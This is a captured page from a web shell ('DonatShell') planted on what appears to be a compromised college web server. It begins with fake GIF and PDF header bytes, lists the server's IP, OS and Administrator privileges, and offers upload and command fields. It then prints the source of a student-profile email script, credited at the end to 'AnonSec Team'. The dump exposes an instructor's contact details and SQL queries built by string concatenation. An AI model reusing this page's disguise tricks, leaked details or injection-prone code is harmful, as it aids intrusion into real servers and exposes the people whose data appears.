GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/StudentProfile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/StudentProfile/StudentProfile_EmailRequestForEntry.phpinc
<?
// StudentProfile/StudentProfile_EmailRequestForEntry.phpinc

if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")<ol>\n";
if (dc()) echo "<b>",basename(__FILE__),"</b>: ",__FILE__."<br>\n";
#setDebugOn();

$f_classId = formValue('classId');
$f_userId = formValue('userId');
#printVar('$f_userId',$f_userId);
$f_userStudentId = userStudentId($f_userId);
#printVar('$f_userStudentId',$f_userStudentId);
$f_message = '';
// Verify the classId.
if (!isset($f_classId) || $f_classId == '') {
	$f_message .= '<span class="error">The classId was not set.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
}
// Verify the userId.
if (!isset($f_userId) || $f_userId == '') {
	$f_message .= '<span class="error">The userId was not set.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
}
if ($f_message == '') {
	// Get the courseNumbers.
	$query = "
				SELECT course.courseNumber
					FROM classstudent
		INNER JOIN class ON classstudent.classId = class.classId
		INNER JOIN course ON class.courseId = course.courseId
				 WHERE class.studentProfilePoints > 0
					 AND class.YRTR = '".$_SESSION['YRTR']['User']."'
					 AND classstudent.userStudentId = '".$f_userStudentId."'
			ORDER BY course.courseNumber
	";
	#printVar('$query',$query);
	$courseResult = query_do($query);
	$courseCount = $_SESSION['qry']['count'];
	if ($courseCount) {
		$courseList = query_to_list($courseResult);
	} else {
		$courseList = '';
		$f_message .= '<span class="error">The courseNumber for userStudentId '.$_SESSION['userStudentId'].' was not found.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
	} // if ($courseCount)
	$courseNumberArray = listToArray($courseList);
	if ($f_message == '') {
		// Get student info.
		$displayStudentInformation = false;
		include('common/studentInfo.phpinc');
		if ($f_userEmail != '') {
			// Start $mail.
			include('email/class.phpmailer.php');
			// Set $mail.
			$mail->From = "jim.martinson@ridgewater.edu";
			$mail->FromName = "Jim Martinson";
			$mail->AddAddress($f_userEmail,$f_username);
			#$mail->AddAddress("jim@jimmartinson.com",$f_username.' test'); // This address is for testing only.
			#$mail->AddAddress("jimmart@hutchtel.net",$f_username.' test'); // This address is for testing only.
			$mail->AddCC("jim.martinson@ridgewater.edu", "Jim Martinson");
			$mail->Subject = "You have not submitted your Student Profile";
			$mail->Body = '
			'.$f_userNickName.',<br>
			<br>
			You have not submitted your Student Profile. It is required for '.listAnd($courseList).'.<br>
			Please edit and submit your <a href="https://cst.ridgewater.edu/JimMartinson/'.$courseNumberArray[0].'/?StudentProfile">Student Profile</a>.<br>
			<br>
			If you have problems completing or submitting your Student Profile please contact me,<br>
			-- Jim<br>
			<br>
			Jim Martinson<br>
			Ridgewater College http://ridgewater.edu<br>
			jim.martinson@ridgewater.edu<br>
			320-234-8546<br>
			';
			// Send $mail.
			include('email/sendEmail.phpinc');
			$_SESSION['Message'] = 'Student Profile entry requested from '.$f_username.'.';
		} else {
			$_SESSION['Message'] = '<span class="error">No email address found for '.$f_username.'.</span> No email could be sent.';
		}
	} else {
		$_SESSION['Message'] = $f_message;
	}
}

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team